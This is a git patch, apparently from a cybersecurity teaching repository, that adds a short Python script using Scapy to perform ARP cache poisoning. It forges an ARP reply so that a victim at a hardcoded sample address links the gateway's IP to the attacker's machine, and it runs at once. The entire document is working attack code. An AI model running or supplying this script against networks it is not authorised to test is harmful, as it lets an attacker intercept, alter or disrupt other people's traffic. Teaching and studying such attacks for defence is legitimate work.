From faf9f069ee59f569dc1588d132b64c97708b0c1f Mon Sep 17 00:00:00 2001 From: Omar Santos Date: Mon, 3 Jul 2023 16:25:36 -0400 Subject: [PATCH] Create arp_cache_poisoner_simple.py --- .../exploitation/arp_cache_poisoner_simple.py | 25 +++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 programming_and_scripting_for_cybersecurity/exploitation/arp_cache_poisoner_simple.py diff --git a/programming_and_scripting_for_cybersecurity/exploitation/arp_cache_poisoner_simple.py b/programming_and_scripting_for_cybersecurity/exploitation/arp_cache_poisoner_simple.py new file mode 100644 index 0000000..58558d9 --- /dev/null +++ b/programming_and_scripting_for_cybersecurity/exploitation/arp_cache_poisoner_simple.py @@ -0,0 +1,25 @@ +from scapy.all import * + +# Author: Omar Santos + +# Perform ARP cache poisoning +def perform_arpcache_poisoning(victim_ip, gateway_ip): + """ + Performs ARP cache poisoning by sending a crafted ARP packet to associate the gateway IP-MAC mapping + with the victim IP. + + :param victim_ip: IP address of the victim device whose ARP cache will be poisoned. + :param gateway_ip: IP address of the legitimate gateway device whose IP-MAC mapping will be spoofed. + """ + # Construct the ARP packet + packet = ARP(op=2, pdst=victim_ip, hwdst=getmacbyip(victim_ip), psrc=gateway_ip) + + # Send the ARP packet + send(packet, verbose=0) + +# Specify the victim IP and gateway IP +victim_ip = "192.168.1.100" +gateway_ip = "192.168.1.1" + +# Perform ARP cache poisoning +perform_arpcache_poisoning(victim_ip, gateway_ip)